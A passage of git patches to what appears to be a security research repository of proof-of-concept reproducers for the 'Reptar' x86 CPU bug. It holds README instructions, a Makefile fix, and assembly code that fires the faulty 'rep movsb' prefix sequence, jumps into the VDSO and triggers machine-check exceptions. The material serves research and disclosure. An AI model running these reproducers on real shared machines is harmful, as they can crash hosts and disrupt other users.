**reptar.loop.elf.asm**: This is a more documented reproducer that explains what happens when the bug triggers and which instructions execute and which don't. Running the program on GDB should allow for quick debugging. - **reptar.vdsojmp.bin.asm**: This is an experiment where we map ourselves just before the VDSO (you must disable ASLR first and adjust the addresses) and then make the "wrong RIP" point to the VDSO address of the time() function, then we jump to that instruction. As a result, the current time is stored in the address pointed to by RAX. If we had corrupted the uop$ then we would instead expect a crash, so it appears that a long jump to the VDSO doesn't corrupt the uop$. - **reptar.vdsopf.bin.asm**: This is a similar experiment to the one above where we do the same except with a pagefault instead of a long jump, with similar consequences. -- **reptar.mce.elf.asm**: Trigger this with `./log_mce.sh` and adjust the cpu 15/7 so they are siblings. This code will trigger an MCE on some affected CPUs and log the details. Look at `mce.txt` for the expected MCE errors. +- **reptar.mce.elf.asm**: Trigger this with `./log_mce.sh` and adjust the cpu 15/7 so they are siblings. This code will trigger an MCE on some affected CPUs and log the details. Look at `mce.txt` for the expected MCE errors. If no MCE is visible, define `MCE_INSTRUCTION='rep movsb'` as that works instead on some CPUs. From 8ab39ab333811751baa63dd53e2fff68495ccebd Mon Sep 17 00:00:00 2001 From: eduardo Date: Fri, 1 Dec 2023 00:51:36 +0100 Subject: [PATCH 39/42] also mark clean as a phony --- pocs/cpus/reptar/minimized/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pocs/cpus/reptar/minimized/Makefile b/pocs/cpus/reptar/minimized/Makefile index faafbd62..7edf887f 100644 --- a/pocs/cpus/reptar/minimized/Makefile +++ b/pocs/cpus/reptar/minimized/Makefile @@ -4,7 +4,7 @@ bin_targets=$(shell find . -name '*.bin.asm' -type f -printf "%f\n" | sed 's/\.a all: $(elf_targets) $(bin_targets) always-rebuild: -.PHONY: all always-rebuild +.PHONY: all clean always-rebuild # always rebuild mce because it depends on env vars reptar.mce.elf.asm: always-rebuild From 808867fca61310d696856e7dbb74addb804d39c7 Mon Sep 17 00:00:00 2001 From: eduardo Date: Fri, 1 Dec 2023 01:26:12 +0100 Subject: [PATCH 40/42] simplify vdso pocs --- pocs/cpus/reptar/minimized/README.md | 3 +- ...ar.vdsojmp.bin.asm => reptar.vdso.bin.asm} | 1 - .../reptar/minimized/reptar.vdsopf.bin.asm | 61 ------------------- 3 files changed, 1 insertion(+), 64 deletions(-) rename pocs/cpus/reptar/minimized/{reptar.vdsojmp.bin.asm => reptar.vdso.bin.asm} (97%) delete mode 100644 pocs/cpus/reptar/minimized/reptar.vdsopf.bin.asm diff --git a/pocs/cpus/reptar/minimized/README.md b/pocs/cpus/reptar/minimized/README.md index 32818377..5d246fb0 100644 --- a/pocs/cpus/reptar/minimized/README.md +++ b/pocs/cpus/reptar/minimized/README.md @@ -11,6 +11,5 @@ You can build them all simply by running `make`. Building the code requires `nas - **reptar.xlat.elf.asm**: This is similar to `reptar.align.elf.asm` but generates tracing information on the syscalls it executes, so that when the program enters at a different register location, it is possible to observe the consequences. Pause will freeze the process, exit will pass `AL` as the exit code and yield will simply leave the latest `RIP` on `RCX`. - **reptar.loopless.elf.asm**: This is an easier to modify reproducer that will also trigger the bug somewhat reliably but also allows to modify the instructions executed before and after. Note the registers that the program uses at the top. - **reptar.loop.elf.asm**: This is a more documented reproducer that explains what happens when the bug triggers and which instructions execute and which don't. Running the program on GDB should allow for quick debugging. -- **reptar.vdsojmp.bin.asm**: This is an experiment where we map ourselves just before the VDSO (you must disable ASLR first and adjust the addresses) and then make the "wrong RIP" point to the VDSO address of the time() function, then we jump to that instruction. As a result, the current time is stored in the address pointed to by RAX. If we had corrupted the uop$ then we would instead expect a crash, so it appears that a long jump to the VDSO doesn't corrupt the uop$. -- **reptar.vdsopf.bin.asm**: This is a similar experiment to the one above where we do the same except with a pagefault instead of a long jump, with similar consequences. +- **reptar.vdso.bin.asm**: This is an experiment where we map ourselves just before the VDSO (you must disable ASLR first and adjust the addresses) and then make the "wrong RIP" point to the VDSO address of the time() function. As a result, the current time is stored in the address pointed to by RAX, which is then clflushed so it triggers a segfault to the current time. If we had corrupted the uop$ then we would instead expect a crash, so it appears that a long jump to the VDSO doesn't corrupt the uop$. - **reptar.mce.elf.asm**: Trigger this with `./log_mce.sh` and adjust the cpu 15/7 so they are siblings. This code will trigger an MCE on some affected CPUs and log the details. Look at `mce.txt` for the expected MCE errors. If no MCE is visible, define `MCE_INSTRUCTION='rep movsb'` as that works instead on some CPUs. diff --git a/pocs/cpus/reptar/minimized/reptar.vdsojmp.bin.asm b/pocs/cpus/reptar/minimized/reptar.vdso.bin.asm similarity index 97% rename from pocs/cpus/reptar/minimized/reptar.vdsojmp.bin.asm rename to pocs/cpus/reptar/minimized/reptar.vdso.bin.asm index 8fc717d1..920dc642 100644 --- a/pocs/cpus/reptar/minimized/reptar.vdsojmp.bin.asm +++ b/pocs/cpus/reptar/minimized/reptar.vdso.bin.asm @@ -34,7 +34,6 @@ nop mov qword [rbx], r13 mov qword [rsp], r11 - jae 0x00007ffff7ffda40 ; time .reptar: rep diff --git a/pocs/cpus/reptar/minimized/reptar.vdsopf.bin.asm b/pocs/cpus/reptar/minimized/reptar.vdsopf.bin.asm deleted file mode 100644 index 59512f68..00000000 --- a/pocs/cpus/reptar/minimized/reptar.vdsopf.bin.asm +++ /dev/null @@ -1,61 +0,0 @@ -%macro TINY_ELF_PAYLOAD 0 -_start: - mov cl, 7 - lea rax, [rsp - 0x1000] - lea r8, [.after_reptar - .loop_only_on_bug] - mov r10, 0x00007ffff7ffda40 ; after time - xor rbx, rbx - mov rdx, .end_of_program - lea r13, [rsp-0x4000] - mov r15, .skip_reptar_alias - mov r11, .loop_only_on_bug - push rdx - xor rdx, rdx - .loop_for_every_iteration: - .loop_only_on_bug: - clflush [rax] - clflush [rax+64] - mov rsi, rax - mov rdi, rax - mov cl, 1 - inc rdx - mov r9, rdx - sub r9, rbx - imul r9, r8 - add r9, r11 - cmp r9, r10 ; we are past vdso - cmova r12, r13 ; this will PF but recover - cmova rax, rcx ; this will break/PF the clflush - cmovna r12, rsp ; ths wont PF - clflush [r12] - clflush [rax] - - .reptar: - rep - db 0x44; rex.r - movsb - .after_reptar: - rep - times 64 nop - jmp r15 - - .reptar_alias: - nop - nop - nop - .after_reptar_alias: - times 100 nop - ; kill - mov eax, 0 - mov ebx, 0 - int 0x80 - - .skip_reptar_alias: - inc rbx - jmp .loop_for_every_iteration - .end_of_program: - int3 - int3 -%endmacro - -%include "third_party/tiny_elf.asm" From 3d45c44f17c13b3ae4d016755b970ed02fd0e022 Mon Sep 17 00:00:00 2001 From: eduardo Date: Fri, 1 Dec 2023 03:57:46 +0100 Subject: [PATCH 41/42] fix vdso sample --- .../cpus/reptar/minimized/reptar.vdso.bin.asm | 109 +++++++++--------- 1 file changed, 53 insertions(+), 56 deletions(-) diff --git a/pocs/cpus/reptar/minimized/reptar.vdso.bin.asm b/pocs/cpus/reptar/minimized/reptar.vdso.bin.asm index 920dc642..e19aba53 100644 --- a/pocs/cpus/reptar/minimized/reptar.vdso.bin.asm +++ b/pocs/cpus/reptar/minimized/reptar.vdso.bin.asm @@ -1,63 +1,60 @@ %macro TINY_ELF_PAYLOAD 0 - _start: - mov rdx, .end_of_program - times 10 push rdx - lea rax, [rsp - 0x1000] - lea r8, [.after_reptar - .loop_only_on_bug] - mov r10, 0x00007ffff7ffda40 ; after time - mov r11, .loop_only_on_bug - xor rdx, rdx - xor rbx, rbx - xor r12, r12 - mov r13, 0x13371337 - .loop_for_every_iteration: - jmp r11 - .loop_only_on_bug: +_start: + mov cl, 7 + lea rax, [rsp - 0x1000] + lea r8, [.after_reptar - .loop_only_on_bug] + mov r10, 0x00007ffff7ffda40 ; after time + xor rbp, rbp + mov rdx, .end_of_program + lea r13, [rsp-0x4000] + mov r15, .skip_reptar_alias + mov r11, .loop_only_on_bug + push rdx + xor rdx, rdx + align 64 + times 0x700 nop + .loop_for_every_iteration: + .loop_only_on_bug: + clflush [rax] + clflush [rax+64] + mov rsi, rax + mov rdi, rax + mov cl, 1 + add rdx, 1 + mov r9, rdx + sub r9, rbp + cmp r9, 0xb0 ; we are past vdso + cmova rax, r13 ; this will PF but recover + align 64 + times 64-16 nop + clflush [rax] + clflush [rsp] + .reptar: + rep + db 0x44; rex.r + movsb + .after_reptar: + rep + times 64 nop + jmp r15 + + .reptar_alias: nop nop - clflush [rax] - clflush [rax+64] - mov rsi, rax - mov rdi, rax - mov cl, 1 - inc rdx - mov r9, rdx - sub r9, r12 - imul r9, r8 - add r9, r11 - xor rbx, rbx - cmp r9, r10 - setae bl - imul rbx, 0x4000 - neg rbx - add rbx, rsp nop - mov qword [rbx], r13 - mov qword [rsp], r11 - - .reptar: - rep - db 0x44; rex.r - movsb - .after_reptar: - rep - times 4 nop - jmp .skip_reptar_alias - - .reptar_alias: - nop - nop - nop - .after_reptar_alias: - times 100 nop - int3 + .after_reptar_alias: + times 100 nop + ; kill + mov eax, 0 + mov ebx, 0 + int 0x80 - .skip_reptar_alias: - inc r12 - jmp .loop_for_every_iteration - .end_of_program: - int3 - int3 + .skip_reptar_alias: + inc rbp + jmp .loop_for_every_iteration + .end_of_program: + int3 + int3 %endmacro -%include "third_party/tiny_elf.asm" +%include "third_party/tiny_elf.asm" \ No newline at end of file From d8860642044ae8c3a73d30139fd5e731f61c26c1 Mon Sep 17 00:00:00 2001 From: eduardo Date: Fri, 1 Dec 2023 04:01:39 +0100 Subject: [PATCH 42/42] fix instructions --- pocs/cpus/reptar/minimized/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pocs/cpus/reptar/minimized/README.md b/pocs/cpus/reptar/minimized/README.md index 5d246fb0..b9991600 100644 --- a/pocs/cpus/reptar/minimized/README.md +++ b/pocs/cpus/reptar/minimized/README.md @@ -11,5 +11,5 @@ You can build them all simply by running `make`. Building the code requires `nas - **reptar.xlat.elf.asm**: This is similar to `reptar.align.elf.asm` but generates tracing information on the syscalls it executes, so that when the program enters at a different register location, it is possible to observe the consequences. Pause will freeze the process, exit will pass `AL` as the exit code and yield will simply leave the latest `RIP` on `RCX`. - **reptar.loopless.elf.asm**: This is an easier to modify reproducer that will also trigger the bug somewhat reliably but also allows to modify the instructions executed before and after. Note the registers that the program uses at the top. - **reptar.loop.elf.asm**: This is a more documented reproducer that explains what happens when the bug triggers and which instructions execute and which don't. Running the program on GDB should allow for quick debugging. -- **reptar.vdso.bin.asm**: This is an experiment where we map ourselves just before the VDSO (you must disable ASLR first and adjust the addresses) and then make the "wrong RIP" point to the VDSO address of the time() function. As a result, the current time is stored in the address pointed to by RAX, which is then clflushed so it triggers a segfault to the current time. If we had corrupted the uop$ then we would instead expect a crash, so it appears that a long jump to the VDSO doesn't corrupt the uop$. +- **reptar.vdso.bin.asm**: This is an experiment where we map ourselves just before the VDSO (you must disable ASLR first and adjust the addresses) and then make the "wrong RIP" point to the VDSO address of the time() function. As a result, the current time is stored in the address pointed to by RAX, which is then clflushed so it triggers a segfault to the current time. If we had corrupted the uop$ then we would instead expect a crash, so it appears that a long jump to the VDSO doesn't corrupt the uop$. To test try: `taskset -c 7 gdb ./reptar.vdso.bin -ex r -ex 'python import datetime;print(datetime.datetime.utcfromtimestamp(gdb.parse_and_eval("*$rdi")))' -ex q` - if successful you should see the current date/time. - **reptar.mce.elf.asm**: Trigger this with `./log_mce.sh` and adjust the cpu 15/7 so they are siblings. This code will trigger an MCE on some affected CPUs and log the details. Look at `mce.txt` for the expected MCE errors. If no MCE is visible, define `MCE_INSTRUCTION='rep movsb'` as that works instead on some CPUs.